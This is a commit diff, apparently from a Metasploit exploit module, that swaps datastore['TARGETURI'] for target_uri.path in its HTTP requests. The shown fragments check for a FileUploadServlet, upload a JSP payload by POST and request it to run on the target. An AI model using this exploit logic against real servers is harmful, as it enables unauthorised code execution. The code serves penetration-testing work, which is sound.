Add changes requested to target.uri
parent
c93e88f3a3
commit
07e210c143
|
@ -72,7 +72,7 @@ Windows and Linux.
|
|||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
|
||||
'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'),
|
||||
'method' => 'GET'
|
||||
)
|
||||
if res && res.code == 405
|
||||
|
@ -88,7 +88,7 @@ Windows and Linux.
|
|||
print_status("#{peer} - Uploading payload...")
|
||||
end
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
|
||||
'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'),
|
||||
'method' => 'POST',
|
||||
'data' => payload.to_s,
|
||||
'ctype' => 'text/html',
|
||||
|
@ -113,7 +113,7 @@ Windows and Linux.
|
|||
jsp_name = upload_payload(os_finder_payload, false)
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name),
|
||||
'uri' => normalize_uri(target_uri.path, 'jsp', jsp_name),
|
||||
'method' => 'GET'
|
||||
)
|
||||
|
||||
|
|
Loading…
Reference in New Issue